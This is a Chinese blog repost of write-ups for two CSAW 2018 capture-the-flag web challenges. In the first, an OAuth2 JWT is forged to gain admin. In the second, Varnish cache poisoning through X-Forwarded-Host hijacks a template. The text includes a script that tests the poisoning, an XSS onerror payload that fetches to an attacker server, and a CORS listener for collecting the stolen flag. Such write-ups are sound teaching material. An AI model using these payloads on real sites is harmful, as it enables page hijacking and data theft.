内容简介:补补web打开源代码如下:关于OAUTH2.0的授权的详细模式可以参考
_
补补web
Web
sso
Don't you love undocumented APIs Be the admin you were always meant to be http://web.chal.csaw.io:9000 Update chal description at: 4:38 to include solve details Aesthetic update for chal at Sun 7:25 AM
打开源代码如下:
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1> <a href="/protected">.</a> <!-- Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess POST /oauth2/token POST /oauth2/authorize form-data TODO: make a form for this route --!>
关于OAUTH2.0的授权的详细模式可以参考 这篇文章 的 六、授权码模式 。
授权模式大致流程如下:
- 获取Authorization Code,通常访问/authorize
请求的参数:
- response_type:表示授权类型,必选项,此处的值固定为”code”
- client_id:表示客户端的ID,必选项
- redirect_uri:表示重定向URI,可选项
- scope:表示申请的权限范围,可选项
- state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
- 获取Access Token,通常访问/token
请求的参数:
- grant_type:表示使用的授权模式,必选项,此处的值固定为”authorization_code”。
- code:表示上一步获得的授权码,必选项。
- redirect_uri:表示重定向URI,必选项,且必须与A步骤中的该参数值保持一致。
- client_id:表示客户端ID,必选项。
- 访问限制资源,比如这里的/protected
所以第一步,获取Authorization Code。
然后在我们的服务器上能收到:
拿到code:
再去拿到token。
得到token:
将这个token拿到 jwt.io/ 解密。
这里的 secret 就是加密秘钥,所以我们可以将type改为admin。
我们拿着这个token去访问 /protected 。
得到flag:flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}。
参考链接
https://www.aperikube.fr/docs/csawquals_2018/sso/
https://github.com/TryCTFAgain/CTF-Writeups/blob/master/2018/CSAW%20CTF’18/web.md#sso
Hacker Movie Club
Hacker Movie Club Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch. Author: itszn (ret2 systems) http://app.hm.vulnerable.services/
打开主页如下:
源码:(去掉style)
<html>
<head>
<script data-src="mustache.min.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script>
</head>
<body>
<div id="content">Loading..</div>
<script>
window.loaded_recapcha = () => {
window.loaded_recapcha = true;
}
window.loaded_mustache = () => {
window.loaded_mustache = true;
}
</script>
<script src="/cdn.js"></script>
<script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script>
</body>
</html>
其中的 /cdn.js 作用是加上 X-Forwarded-Host 头去加载上面两个脚本。
// cdn.js
for (let t of document.head.children) {
if (t.tagName !== 'SCRIPT')
continue;
let { cdn, src } = t.dataset;
if (cdn === undefined || src === undefined)
continue;
fetch(`//${cdn}/cdn/${src}`,{
headers: {
'X-Forwarded-Host':cdn
}}
).then(r=>r.blob()).then(b=> {
let u = URL.createObjectURL(b);
let s = document.createElement('script');
s.src = u;
document.head.appendChild(s);
});
}
主页面上还有一个 report 的功能,一般看到这个一般都会出现XSS利用,但是这道题中并没有输入交互,所以XSS的利用方式还有些不同。
app.js如下:
// app.js
var token = null;
Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);
grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});
main.mst下载后发现是模板文件。
<div class="header">
Hacker Movie Club
</div>
<div class="header admin">
Welcome to the desert of the real.
</div>
<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
初期的一个探索并没有发现什么有价值的东西,所以我们可以考虑对每个请求包进行分析。
在 /api/movies 响应的body中看到了一个只能由admin查看的项:
当我们把它通过抓包改成 false 时,可以发现:
可以看到,隐藏的项就出来了,所以我们的目的就明确了,但是我们没有太多可以交互的地方,所以还需要找突破点。
观察后发现每个响应头都有:
HTTP/1.1 200 OK ... Cache-Control: no-cache X-Varnish: 157274709 Age: 0 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive
去了解了下 varnish ,发现它是一个 反向代理 中的 缓存服务 程序。
如果来自Apache的响应是可缓存的,Varnish会将其存储以便更快地响应未来的请求。
varnish详细的请求头可以在 这里 找到。
所以这里我们需要用到一种叫 Web Cache Poisoning ( web缓存污染 )的利用方法,这个跟 Cache Poisoning (又称DNS污染)是不一样的东西。
参考链接:
这里我们可以重点关注 DOM Poisoning (DOM污染)。
另一个需要先了解的事情是 X-Forwarded-Host 的作用,详情可参考: 这里 。
X-Forwarded-Host (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 Host 指定的初始域名。 反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。
语法:
X-Forwarded-Host: <host>
上面这些归结起来就是 当服务器进行缓存时它会将客户端的请求转发到XFH指定的host上去。
现在再回过头看看我们已有的资料。我们得知 main.mst 是模板文件,它会利用``等对admin身份进行判断,如果我们能够劫持掉这个模板文件,使她绕过admin就可以获得到完整的项。
我们先来找到 main.mst 缓存的最大时间( max-age ),我们可以带着 X-Forwarded-Host 不停的请求 /cdn/app.js ,如果 fetch('//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst') 能被我们控制到 fetch('my_server/cdn/main.mst') 上就成功的完成了劫持。
我们可以使用下面的脚本验证一下:
# -*- coding: utf-8 -*-
import requests
X_Forwarded_Host = '1.2.3.4'
while True:
resp = requests.get("http://4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
print resp.headers
if X_Forwarded_Host in resp.text:
print resp.text
break
结果如下:
可以看到我们成功的通过 web缓存污染 劫持了模板文件。接着我们再构造好模板文件,然后让admin去访问就可以拿到flag了。
<div class="header">
Hacker Movie Club
</div>
<div class="header admin">
Welcome to the desert of the real.
</div>
<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://my_server_ip/'+'')">
如果你直接访问会出现一个 跨域资源共享 (CORS)的问题,如下:
它要求服务器回应的头信息要包含 Access-Control-Allow-Origin 字段,如果你不想配置Apache或者Nginx,那你可以使用下面这个建议的python web server。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
# Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
import sys
def test (*args):
test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
from BaseHTTPServer import HTTPServer, test
from SimpleHTTPServer import SimpleHTTPRequestHandler
class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)
if __name__ == '__main__':
test(CORSRequestHandler, HTTPServer)
开启后就能在日志输出中得到flag:
flag:flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}
参考链接:
https://lud1161.github.io/posts/hacker-movie-club-csaw-quals-2018/
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
- Ghost Tunnel复现
- Paxos与“幽灵复现”
- CVE-2010-3333漏洞复现
- CVE-2017-12149漏洞复现
- WinRAR 代码执行漏洞复现
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。